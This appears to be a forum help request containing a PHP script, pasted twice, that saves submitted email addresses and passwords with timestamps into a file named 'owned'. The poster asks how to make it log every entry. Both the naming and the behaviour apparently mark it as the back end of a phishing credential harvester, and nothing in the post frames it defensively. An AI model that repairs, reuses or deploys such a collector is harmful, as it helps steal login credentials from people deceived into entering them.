Below is the code I am working with. It seems it will only log two entries into the "log file"
. I have tried a, a+. I want it to log everything to the file.
<?php
$today = date("F j, Y, g:i a");
$email = $_POST["email"];
$pass = $_POST["pass"];
$format = "******************************\n" . "$today\n" . "$email\n" . "$pass\n" . "******************************\n";
$myFile = "owned";
$fh = fopen($myFile, 'r+') or die("can't open file");
$stringData = $format;
fwrite($fh, $stringData);
fclose($fh);
?>
<?php
$today = date("F j, Y, g:i a");
$email = $_POST["email"];
$pass = $_POST["pass"];
$format = "******************************\n" . "$today\n" . "$email\n" . "$pass\n" . "******************************\n";
$myFile = "owned";
$fh = fopen($myFile, 'r+') or die("can't open file");
$stringData = $format;
fwrite($fh, $stringData);
fclose($fh);
?>